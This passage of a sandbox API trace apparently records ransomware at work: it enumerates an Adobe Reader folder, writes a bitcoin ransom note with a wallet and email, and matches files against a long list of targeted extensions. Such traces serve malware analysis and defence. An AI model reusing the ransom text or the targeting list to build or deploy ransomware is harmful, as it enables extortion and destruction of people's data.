cAlternateFileName="")) returned 1 [0069.703] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.703] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.703] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.703] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.703] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*.*") returned="*.*" [0069.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" [0069.704] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="" [0069.704] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt" [0069.704] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\how to decrypt files.txt")) returned 0xffffffff [0069.704] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.704] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.705] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.706] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.706] CloseHandle (hObject=0x94) returned 1 [0069.707] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini" [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.ems") returned 0 [0069.707] lstrlenA (lpString="*.ems") returned 5 [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.db") returned 0 [0069.707] lstrlenA (lpString="*.db") returned 4 [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.dbf") returned 0 [0069.707] lstrlenA (lpString="*.dbf") returned 5 [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.myox") returned 0 [0069.707] lstrlenA (lpString="*.myox") returned 6 [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.myo") returned 0 [0069.707] lstrlenA (lpString="*.myo") returned 5 [0069.707] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbw") returned 0 [0069.707] lstrlenA (lpString="*.qbw") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbb") returned 0 [0069.708] lstrlenA (lpString="*.qbb") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbm") returned 0 [0069.708] lstrlenA (lpString="*.qbm") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbo") returned 0 [0069.708] lstrlenA (lpString="*.qbo") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbx") returned 0 [0069.708] lstrlenA (lpString="*.qbx") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qba") returned 0 [0069.708] lstrlenA (lpString="*.qba") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qby") returned 0 [0069.708] lstrlenA (lpString="*.qby") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qbj") returned 0 [0069.708] lstrlenA (lpString="*.qbj") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.ofx") returned 0 [0069.708] lstrlenA (lpString="*.ofx") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.qif") returned 0 [0069.708] lstrlenA (lpString="*.qif") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mye") returned 0 [0069.708] lstrlenA (lpString="*.mye") returned 5 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mbox") returned 0 [0069.708] lstrlenA (lpString="*.mbox") returned 6 [0069.708] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.eml") returned 0 [0069.709] lstrlenA (lpString="*.eml") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.pst") returned 0 [0069.709] lstrlenA (lpString="*.pst") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.ost") returned 0 [0069.709] lstrlenA (lpString="*.ost") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.idx") returned 0 [0069.709] lstrlenA (lpString="*.idx") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.dbx") returned 0 [0069.709] lstrlenA (lpString="*.dbx") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.sql") returned 0 [0069.709] lstrlenA (lpString="*.sql") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mdb") returned 0 [0069.709] lstrlenA (lpString="*.mdb") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.fdb") returned 0 [0069.709] lstrlenA (lpString="*.fdb") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.wab") returned 0 [0069.709] lstrlenA (lpString="*.wab") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.dat") returned 0 [0069.709] lstrlenA (lpString="*.dat") returned 5 [0069.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.txt") returned 0 [0069.710] lstrlenA (lpString="*.txt") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.710] lstrlenA (lpString="*.jpeg") returned 6 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.jpg") returned 0 [0069.710] lstrlenA (lpString="*.jpg") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.png") returned 0 [0069.710] lstrlenA (lpString="*.png") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.php") returned 0 [0069.710] lstrlenA (lpString="*.php") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.cs") returned 0 [0069.710] lstrlenA (lpString="*.cs") returned 4 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.cpp") returned 0 [0069.710] lstrlenA (lpString="*.cpp") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.rar") returned 0 [0069.710] lstrlenA (lpString="*.rar") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.zip") returned 0 [0069.710] lstrlenA (lpString="*.zip") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.html") returned 0 [0069.710] lstrlenA (lpString="*.html") returned 6 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.htm") returned 0 [0069.710] lstrlenA (lpString="*.htm") returned 5 [0069.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.710] lstrlenA (lpString="*.xlsx") returned 6 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.xls") returned 0 [0069.711] lstrlenA (lpString="*.xls") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mp4") returned 0 [0069.711] lstrlenA (lpString="*.mp4") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.ppt") returned 0 [0069.711] lstrlenA (lpString="*.ppt") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.pptx") returned 0 [0069.711] lstrlenA (lpString="*.pptx") returned 6 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.doc") returned 0 [0069.711] lstrlenA (lpString="*.doc") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.dot") returned 0 [0069.711] lstrlenA (lpString="*.dot") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.docx") returned 0 [0069.711] lstrlenA (lpString="*.docx") returned 6 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.7z") returned 0 [0069.711] lstrlenA (lpString="*.7z") returned 4 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.tar") returned 0 [0069.711] lstrlenA (lpString="*.tar") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.bz2") returned 0 [0069.711] lstrlenA (lpString="*.bz2") returned 5 [0069.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.gz") returned 0 [0069.712] lstrlenA (lpString="*.gz") returned 4 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mkv") returned 0 [0069.712] lstrlenA (lpString="*.mkv") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.eml") returned 0 [0069.712] lstrlenA (lpString="*.eml") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.msg") returned 0 [0069.712] lstrlenA (lpString="*.msg") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.edb") returned 0 [0069.712] lstrlenA (lpString="*.edb") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.accdb") returned 0 [0069.712] lstrlenA (lpString="*.accdb") returned 7 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.odb") returned 0 [0069.712] lstrlenA (lpString="*.odb") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.java") returned 0 [0069.712] lstrlenA (lpString="*.java") returned 6 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.asm") returned 0 [0069.712] lstrlenA (lpString="*.asm") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.pfx") returned 0 [0069.712] lstrlenA (lpString="*.pfx") returned 5 [0069.712] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.pem") returned 0 [0069.712] lstrlenA (lpString="*.pem") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.p12") returned 0 [0069.713] lstrlenA (lpString="*.p12") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.gpg") returned 0 [0069.713] lstrlenA (lpString="*.gpg") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.vsd") returned 0 [0069.713] lstrlenA (lpString="*.vsd") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.odg") returned 0 [0069.713] lstrlenA (lpString="*.odg") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.raw") returned 0 [0069.713] lstrlenA (lpString="*.raw") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.nef") returned 0 [0069.713] lstrlenA (lpString="*.nef") returned 5 [0069.713] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.svg") returned 0 [0069.713] lstrlenA (lpString="*.svg") returned 5 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.psd") returned 0 [0069.719] lstrlenA (lpString="*.psd") returned 5 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.vmx") returned 0 [0069.719] lstrlenA (lpString="*.vmx") returned 5 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.719] lstrlenA (lpString="*.vmdk") returned 6 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.vdi") returned 0 [0069.719] lstrlenA (lpString="*.vdi") returned 5 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.lay6") returned 0 [0069.719] lstrlenA (lpString="*.lay6") returned 6 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.719] lstrlenA (lpString="*.mpeg") returned 6 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.djvu") returned 0 [0069.719] lstrlenA (lpString="*.djvu") returned 6 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.tiff") returned 0 [0069.719] lstrlenA (lpString="*.tiff") returned 6 [0069.719] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.backup") returned 0 [0069.720] lstrlenA (lpString="*.backup") returned 8 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.pdf") returned 0 [0069.720] lstrlenA (lpString="*.pdf") returned 5 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.cert") returned 0 [0069.720] lstrlenA (lpString="*.cert") returned 6 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.docm") returned 0 [0069.720] lstrlenA (lpString="*.docm") returned 6 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.720] lstrlenA (lpString="*.xlsm") returned 6 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.dwg") returned 0 [0069.720] lstrlenA (lpString="*.dwg") returned 5 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.nd") returned 0 [0069.720] lstrlenA (lpString="*.nd") returned 4 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.tlg") returned 0 [0069.720] lstrlenA (lpString="*.tlg") returned 5 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.lgb") returned 0 [0069.720] lstrlenA (lpString="*.lgb") returned 5 [0069.720] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mov") returned 0 [0069.721] lstrlenA (lpString="*.mov") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.xdw") returned 0 [0069.721] lstrlenA (lpString="*.xdw") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.ods") returned 0 [0069.721] lstrlenA (lpString="*.ods") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.wav") returned 0 [0069.721] lstrlenA (lpString="*.wav") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.mp3") returned 0 [0069.721] lstrlenA (lpString="*.mp3") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.aiff") returned 0 [0069.721] lstrlenA (lpString="*.aiff") returned 6 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.flac") returned 0 [0069.721] lstrlenA (lpString="*.flac") returned 6 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.m4a") returned 0 [0069.721] lstrlenA (lpString="*.m4a") returned 5 [0069.721] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini", pszSpec="*.csv") returned 0 [0069.721] lstrlenA (lpString="*.csv") returned 5 [0069.721] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.722] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.722] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.722] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini") returned="eula.ini" [0069.722] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" [0069.722] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="" [0069.722] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt" [0069.722] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\how to decrypt files.txt")) returned 0x20 [0069.722] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" [0069.722] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.ems") returned 0 [0069.722] lstrlenA (lpString="*.ems") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.db") returned 0 [0069.723] lstrlenA (lpString="*.db") returned 4 [0069.723] 